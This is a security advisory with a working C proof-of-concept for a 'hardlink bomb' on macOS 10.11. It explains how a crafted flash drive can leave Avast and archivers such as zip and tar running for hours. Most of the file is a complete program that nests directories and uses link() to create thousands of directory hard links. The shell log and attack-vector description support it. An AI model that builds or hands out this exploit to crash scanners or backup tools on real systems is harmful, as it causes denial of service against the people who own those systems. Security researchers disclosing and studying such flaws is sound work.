/*
MacOS X 10.11 hardlink bomb cause resource exhaustion (Avast PoC)
Credit: Maksymilian Arciemowicz ( CXSECURITY )
Website:
http://cxsecurity.com/
http://cert.cx/
Affected software:
- Commands such as: zip, tar, find
- AntiVirus: Avast, Eset32
Let's back to an old bug, which Apple does not patch until today.
https://cxsecurity.com/issue/WLB-2013110059
----------------------------------------------
mac-cxs-XK:pochd XK$ cat test.c
#include <stdio.h>
#include <unistd.h>
void usage(const char* program)
{
const char* message = " [src_dir] [target_dir]";
fprintf(stderr, "%s%s\n", program, message);
}
int main(int argc, char* argv[]) {
if (argc!=3) {
usage(argv[0]);
return 1;
}
int ret = link(argv[1],argv[2]);
fprintf(stderr,"link(3) return= %d\n", ret);
return ret;
}
mac-cxs-XK:pochd XK$ gcc -o test test.c
mac-cxs-XK:pochd XK$ ls
test test.c
mac-cxs-XK:pochd XK$ mkdir DIR1
mac-cxs-XK:pochd XK$ ./test DIR1 Hardlink1
link(3) return= -1
mac-cxs-XK:pochd XK$ mkdir DIR1/DIR2
mac-cxs-XK:pochd XK$ ./test DIR1/DIR2 Hardlink2
link(3) return= 0
mac-cxs-XK:pochd XK$ cd DIR1
mac-cxs-XK:DIR1 XK$ mkdir DIR2/DIR3
mac-cxs-XK:DIR1 XK$ ../test DIR2/DIR3 Hardlink3
link(3) return= 0
mac-cxs-XK:DIR1 XK$ cd DIR2
mac-cxs-XK:DIR2 XK$ mkdir DIR3/DIR4
mac-cxs-XK:DIR2 XK$ ../../test DIR3/DIR4 Hardlink4
link(3) return= -1
----------------------------------------------
As we see is possible to create hardlink with some limitations. In presented PoC just two hardlinks were created what show that this possibility still exists and is in opposition to wikipedia's facts
https://en.wikipedia.org/wiki/Hard_link
---
UNIX System V allowed them, but only the superuser had permission to make such links.[5] Mac OS X v10.5 (Leopard) and newer use hard links on directories for the Time Machine backup mechanism only. Symbolic links and NTFS junction points are generally used instead for this purpose.
---
Maybe ‘Time Machine’ uses the same function 'link()' which Apple can't patch? I don't know but two hardlinks aren't threat for stability dissimilarly to 8192. The following program allows you to create N directories (default=1024) with 8 hardlinks on each level e.g. 1024 directories and 8192 hardlinks.
For many programs special crafted file system, can be very difficult to handle. Two examples of groups of tools, which have this weakness: AV Tools and software for archiving.
An example of a vector of attack for the AV tool is an external flash drive. If attacker create special crafted flash drive and victim will decide to scan this drive by using Avast, scanning will not end in normal time. After twenty hours of external media scanning 0% of progress so I decided to discontinue further scanning. Nevertheless Avast fell into the CPU exhaustion, which could not be stopped. On subsequent attempts of any scan Avast returned an error 7012.
Archiving Tools zip(1), tar(1) also have problem with compressing 1024 directories and 8192 hardlinks.
# zip -R packme.zip B
Scanning files ................
and no end in sight.
after six hours I decided to stop further compressing. Other tools for data backup may not deal with such file system.
BTW: don't try use ln(1) command. ☺ To create hardlink on MacOSX you need use link(3) function used in the following PoC
====== References ===================================
https://cxsecurity.com/issue/WLB-2015100149
https://cxsecurity.com/issue/WLB-2014040027
https://cxsecurity.com/cveshow/CVE-2014-4433/
https://cxsecurity.com/cveshow/CVE-2014-4434/
https://cxsecurity.com/issue/WLB-2013110059
https://cxsecurity.com/cveshow/CVE-2013-6799/
https://cxsecurity.com/issue/WLB-2010040284
https://cxsecurity.com/cveshow/CVE-2010-0105/
https://cxsecurity.com/issue/WLB-2005090063
http://en.wikipedia.org/wiki/Hard_link
====== Thanks ===================================
Kacper and Smash_ from DEVILTEAM for technical support.
====== Credit ===================================
Maksymilian Arciemowicz from cxsecurity.com
http://cxsecurity.com/
http://cert.cx/
http://cifrex.org/
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <err.h>
#include <errno.h>
#include <locale.h>
int mkpath(char *path, mode_t mode, mode_t dir_mode){
struct stat sb;
char *slash;
int done,rv;
done=0;
slash=path;
for(;;){
slash += strspn(slash,"/");
slash += strcspn(slash,"/");
done = (*slash=='\0');
*slash = '\0';
rv = mkdir(path, done ? mode : dir_mode);
if(rv < 0){
int sverrno;
sverrno = errno;
if(stat(path,&sb)<0){
errno=sverrno;
warn("%s",path);
return -1;
}
if(!S_ISDIR(sb.st_mode)){
errno = ENOTDIR;
warn("%s",path);
return -1;
}
} else if (done){
if((chmod(path,mode)== -1)) {
warn("%s",path);
return -1;
}
}
if(done){
break;
}
*slash = '/';
}
return 0;
}
int main(int argc, char *argv[]){
if(argc!=2){
printf("Use it with (int)arg[1]. E.g. 8192\n");
return 1;
}
int wbita=atoi(argv[1]);
const char symn1[]="X1\0", symn2[]="X2\0", symn3[]="X3\0", symn4[]="X4\0";
const char symn5[]="X5\0", symn6[]="X6\0", symn7[]="X7\0", symn8[]="X8\0";
char buff[]="B\0", cd[]="..\0";
char sym[]="B/B\0";
FILE *fp;
int level=0;
mode_t mode = ((S_IRWXU | S_IRWXG | S_IRWXO) & ~umask(0));
mode_t dir_mode = mode | S_IWUSR |S_IXUSR;
mkpath(buff,mode,dir_mode);
// Step 0
while(1)
if(0!=chdir(buff)){
printf("Phase 0 done\n");
break;
}
else printf("cd to already created dir on level: %i\n",level++);
// Step 1
for(int ax=level; ax<wbita; ax++){
mkpath(buff,mode,dir_mode);
printf("Directory created. Progress (%i/%i)\n",(ax+1), wbita);
if(0!=chdir(buff)){
printf("Error. chdir() failed.");
break;
}
}
// Step 2
mkpath(buff,mode,dir_mode);
chdir(buff);
mkpath(buff,mode,dir_mode);
chdir(cd);
// Step 3
for(int ax=level; ax<wbita; ax++){
printf("=======================\ncd .. and HLs. Progress: (%i/%i) [be patient. latency may occur]\n",(ax+1),wbita);
printf("Link1(%s,%s)=%i;\n",sym,symn1,link(sym,symn1));
printf("Link2(%s,%s)=%i;\n",sym,symn2,link(sym,symn2));
printf("Link3(%s,%s)=%i;\n",sym,symn3,link(sym,symn3));
printf("Link4(%s,%s)=%i;\n",sym,symn4,link(sym,symn4));
printf("Link5(%s,%s)=%i;\n",sym,symn5,link(sym,symn5));
printf("Link6(%s,%s)=%i;\n",sym,symn6,link(sym,symn6));
printf("Link7(%s,%s)=%i;\n",sym,symn7,link(sym,symn7));
printf("Link8(%s,%s)=%i;\n",sym,symn8,link(sym,symn8));
if(0!=chdir(cd)){
printf("Error. chdir failed!");
break;
}
}
return 0;
}